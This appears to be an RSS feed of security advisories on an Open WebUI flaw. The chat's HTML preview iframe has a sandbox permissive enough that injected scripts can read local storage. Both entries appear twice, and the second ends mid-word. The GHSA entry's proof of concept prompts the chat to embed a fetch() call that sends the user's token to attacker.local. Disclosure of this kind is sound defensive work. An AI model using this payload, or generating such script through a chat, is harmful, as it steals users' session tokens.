https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 20 Oct 2026 20:56:50 +0000 https://cve.radiocsirt.org/vuln/cve-2026-45303 <p><strong>Affected:</strong> open-webui</p> <p>Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.5, through the HTML rendering view, scripts can be injected and executed. The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the allow-scripts allow-forms allow-same-origin sandbox directive. This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified. This vulnerability is fixed in 0.6.5.</p> <p><strong>Affected:</strong> open-webui</p> <p>Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.6.5, through the HTML rendering view, scripts can be injected and executed. The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the allow-scripts allow-forms allow-same-origin sandbox directive. This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified. This vulnerability is fixed in 0.6.5.</p> https://cve.radiocsirt.org/vuln/cve-2026-45303 https://cve.radiocsirt.org/vuln/ghsa-4vrc-m9ch-6m3r <p><strong>Affected:</strong> PyPI: open-webui</p> <p>### Summary Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.</p> <p>### Details The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:</p> <p>`sandbox=&#34;allow-scripts allow-forms allow-same-origin&#34;`</p> <p>This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.</p> <p>### PoC If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following: ``` Create an HTML form and insert the following script into the document: `fetch(&#39;https://www.attacker.local/?&#39; + localStorage.getItem(&#39;token&#39;))` ``` By entering this message, the script fetch(&#39;https://www.attacker.local/?&#39; + localStorage.getItem(&#39;token&#39;)) is embedded, allowing the user&#39;s token to be read and sent to www.attacker.local.</p> <p></p> <p>### Impact Fundamentally, this is a Self-XSS attac…</p> <p><strong>Affected:</strong> PyPI: open-webui</p> <p>### Summary Through the HTML rendering view, scripts can be injected and executed. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.</p> <p>### Details The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:</p> <p>`sandbox=&#34;allow-scripts allow-forms allow-same-origin&#34;`</p> <p>This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.</p> <p>### PoC If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following: ``` Create an HTML form and insert the following script into the document: `fetch(&#39;https://www.attacker.local/?&#39; + localStorage.getItem(&#39;token&#39;))` ``` By entering this message, the script fetch(&#39;https://www.attacker.local/?&#39; + localStorage.getItem(&#39;token&#39;)) is embedded, allowing the user&#39;s token to be read and sent to www.attacker.local.</p> <p></p> <p>### Impact Fundamentally, this is a Self-XSS attac…</p> https://cve.radiocsirt.org/vuln/ghsa-4vrc-m9ch-6m3r